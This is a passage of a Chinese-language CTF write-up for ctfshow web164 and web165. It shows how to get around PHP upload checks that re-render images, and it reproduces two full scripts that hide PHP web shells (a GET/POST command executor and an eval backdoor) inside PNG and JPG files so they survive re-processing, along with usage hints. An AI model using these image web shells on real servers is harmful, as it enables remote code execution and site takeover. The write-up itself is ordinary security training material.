<?php\n\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-21 21:31:23\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-10-16 22:41:40\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n\n*\/\n\n$flag="ctfshow{1db95566-2853-4295-9dbe-82fc8c31a354}";<\/code><\/pre>\n
\u4f46\u662f\u63d0\u4ea4\u4f1a\u5931\u8d25\u3002\u3002\u3002\u3002<\/p>\n
\"image-20221025142856883\"<\/div><\/div>\n
\u7fa4\u91cc\u54a8\u8be2\u4e86\u4e00\u4e0b\u5927\u5e08\u5085\uff1a<\/p>\n
\"image-20221025144448750\"<\/div><\/p>\n
nice\uff0c\u6211\u597d\u7231\u5927\u5e08\u5085\u3002\u3002\u3002<\/p>\n
web164<\/h1>\n
\u6539\u5934\u6362\u9762<\/code><\/pre>\n
\u672c\u9898\u8003\u67e5png\u56fe\u7247\u7684\u4e8c\u6b21\u6e32\u67d3\uff0c\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003\u8fd9\u91cc\u7684\u5927\u4f6cblog\uff1a<\/p>\n
https:\/\/www.fujieace.com\/penetration-test\/upload-labs-pass-16.html<\/a><\/p>\n
\n
\u4e8c\u6b21\u6e32\u67d3 \u5c06\u4e00\u4e2a\u6b63\u5e38\u663e\u793a\u7684\u56fe\u7247\uff0c\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u3002\u5bfb\u627e\u56fe\u7247\u88ab\u6e32\u67d3\u540e\u4e0e\u539f\u59cb\u56fe\u7247\u90e8\u5206\u5bf9\u6bd4\u4ecd\u7136\u76f8\u540c\u7684\u6570\u636e\u5757\u90e8\u5206\uff0c\u5c06Webshell\u4ee3\u7801\u63d2\u5728\u8be5\u90e8\u5206\uff0c\u7136\u540e\u4e0a\u4f20\u3002<\/p>\n<\/blockquote>\n
\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528\u56fd\u5916\u5927\u4f6c\u5199\u7684\u811a\u672c\uff1a<\/p>\n
<?php\n$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,\n           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,\n           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,\n           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,\n           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,\n           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,\n           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,\n           0x66, 0x44, 0x50, 0x33);\n\n$img = imagecreatetruecolor(32, 32);\n\nfor ($y = 0; $y < sizeof($p); $y += 3) {\n   $r = $p[$y];\n   $g = $p[$y+1];\n   $b = $p[$y+2];\n   $color = imagecolorallocate($img, $r, $g, $b);\n   imagesetpixel($img, round($y \/ 3), 0, $color);\n}\n\nimagepng($img,'1.png');  \/\/\u8981\u4fee\u6539\u7684\u56fe\u7247\u7684\u8def\u5f84\n\n\/* \u6728\u9a6c\u5185\u5bb9\n<?$_GET[0]($_POST[1]);?>\n *\/\n\/\/imagepng($img,'1.png');  \u8981\u4fee\u6539\u7684\u56fe\u7247\u7684\u8def\u5f84,1.png\u662f\u4f7f\u7528\u7684\u6587\u4ef6\uff0c\u53ef\u4ee5\u4e0d\u5b58\u5728\n\/\/\u4f1a\u5728\u76ee\u5f55\u4e0b\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a1.png\u56fe\u7247\n\/\/\u56fe\u7247\u811a\u672c\u5185\u5bb9\uff1a$_GET[0]($_POST[1]);\n\/\/\u4f7f\u7528\u65b9\u6cd5\uff1a\u4f8b\u5b50\uff1a\u67e5\u770b\u56fe\u7247\uff0cget\u4f20\u51650=system\uff1bpost\u4f20\u5165tac flag.php\n\n?>\n------------------------------------\n           \u521b\u5efa1.png\u56fe\u7247\u6210\u529f\uff01      \n------------------------------------<\/code><\/pre>\n
\"image-20221026130721003\"<\/div><\/p>\n
\u4e0a\u4f20\u56fe\u7247\u9a6c\uff1a<\/p>\n
\"image-20221026131335485\"<\/div><\/p>\n
ctrl + s<\/code>\u6253\u5f00\u4ee5\u540e\u752816\u8fdb\u5236\u6253\u5f00\uff08\u8bb0\u4e8b\u672c\u4e5f\u53ef\u4ee5\uff09\u5373\u53ef\u5f97\u5230flag\uff1a<\/p>\n
\"image-20221026131517779\"<\/div><\/p>\n
web165<\/h1>\n
\u6539\u5934\u6362\u97622.0<\/code><\/pre>\n
\u672c\u9898\u8003\u67e5\u4e86jpg\u7684\u4e8c\u6b21\u6e32\u67d3\uff0c\u540c\u6837\u53c2\u8003\u4e86\u56fd\u5916\u5927\u4f6c\u7684\u811a\u672c\uff1a<\/p>\n
<?php\n    \/*\n    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().\n    It is necessary that the size and quality of the initial image are the same as those of the processed image.\n    1) Upload an arbitrary image via secured files upload script\n    2) Save the processed image and launch:\n    jpg_payload.php <jpg_name.jpg>\n    In case of successful injection you will get a specially crafted image, which should be uploaded again.\n    Since the most straightforward injection method is used, the following problems can occur:\n    1) After the second processing the injected data may become partially corrupted.\n    2) The jpg_payload.php script outputs "Something's wrong".\n    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.\n    Sergey Bobrov @Black2Fan.\n    See also:\n    https:\/\/www.idontplaydarts.com\/2012\/06\/encoding-web-shells-in-png-idat-chunks\/\n    *\/\n\n    $miniPayload = '<?=eval($_POST[1]);?>';\n\n    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {\n        die('php-gd is not installed');\n    }\n\n    if(!isset($argv[1])) {\n        die('php jpg_payload.php <jpg_name.jpg>');\n    }\n\n    set_error_handler("custom_error_handler");\n\n    for($pad = 0; $pad < 1024; $pad++) {\n        $nullbytePayloadSize = $pad;\n        $dis = new DataInputStream($argv[1]);\n        $outStream = file_get_contents($argv[1]);\n        $extraBytes = 0;\n        $correctImage = TRUE;\n\n        if($dis->readShort() != 0xFFD8) {\n            die('Incorrect SOI marker');\n        }\n\n        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {\n            $marker = $dis->readByte();\n            $size = $dis->readShort() - 2;\n            $dis->skip($size);\n            if($marker === 0xDA) {\n                $startPos = $dis->seek();\n                $outStreamTmp = \n                    substr($outStream, 0, $startPos) . \n                    $miniPayload . \n                    str_repeat("\\0",$nullbytePayloadSize) . \n                    substr($outStream, $startPos);\n                checkImage('_'.$argv[1], $outStreamTmp, TRUE);\n                if($extraBytes !== 0) {\n                    while((!$dis->eof())) {\n                        if($dis->readByte() === 0xFF) {\n                            if($dis->readByte !== 0x00) {\n                                break;\n                            }\n                        }\n                    }\n                    $stopPos = $dis->seek() - 2;\n                    $imageStreamSize = $stopPos - $startPos;\n                    $outStream = \n                        substr($outStream, 0, $startPos) . \n                        $miniPayload . \n                        substr(\n                            str_repeat("\\0",$nullbytePayloadSize).\n                                substr($outStream, $startPos, $imageStreamSize),\n                            0,\n                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . \n                                substr($outStream, $stopPos);\n                } elseif($correctImage) {\n                    $outStream = $outStreamTmp;\n                } else {\n                    break;\n                }\n                if(checkImage('payload_'.$argv[1], $outStream)) {\n                    die('Success!');\n                } else {\n                    break;\n                }\n            }\n        }\n    }\n    unlink('payload_'.$argv[1]);\n    die('Something\\'s wrong');\n\n    function checkImage($filename, $data, $unlink = FALSE) {\n        global $correctImage;\n        file_put_contents($filename, $data);\n        $correctImage = TRUE;\n        imagecreatefromjpeg($filename);\n        if($unlink)\n            unlink($filename);\n        return $correctImage;\n    }\n\n    function custom_error_handler($errno, $errstr, $errfile, $errline) {\n        global $extraBytes, $correctImage;\n        $correctImage = FALSE;\n        if(preg_match('\/(\\d+) extraneous bytes before marker\/', $errstr, $m)) {\n            if(isset($m[1])) {\n                $extraBytes = (int)$m[1];\n            }\n        }\n    }\n\n    class DataInputStream {\n        private $binData;\n        private $order;\n        private $size;\n\n        public function __construct($filename, $order = false, $fromString = false) {\n            $this->binData = '';\n            $this->order = $order;\n            if(!$fromString) {\n                if(!file_exists($filename) || !is_file($filename))\n                    die('File not exists ['.$filename.']');\n                $this->binData = file_get_contents($filename);\n            } else {\n                $this->binData = $filename;\n            }\n            $this->size = strlen($this->binData);\n        }\n\n        public function seek() {\n            return ($this->size - strlen($this->binData));\n        }\n\n        public function skip($skip) {\n            $this->binData = substr($this->binData, $skip);\n        }\n\n        public function readByte() {\n            if($this->eof()) {\n                die('End Of File');\n            }\n            $byte = substr($this->binData, 0, 1);\n            $this->binData = substr($this->binData, 1);\n            return ord($byte);\n        }\n\n        public function readShort() {\n            if(strlen($this->binData) < 2) {\n                die('End Of File');\n            }\n            $short = substr($this->binData, 0, 2);\n            $this->binData = substr($this->binData, 2);\n            if($this->order) {\n                $short = (ord($short[1]) << 8) + ord($short[0]);\n            } else {\n                $short = (ord($short[0]) << 8) + ord($short[1]);\n            }\n            return $short;\n        }\n\n        public function eof() {\n            return !$this->binData||(strlen($this->binData) === 0);\n        }\n    }\n?><\/code><\/pre>\n
\u7528\u6cd5\u4e3a\uff1aphp jpg_payload.php <jpg_name.jpg><\/code><\/p>\n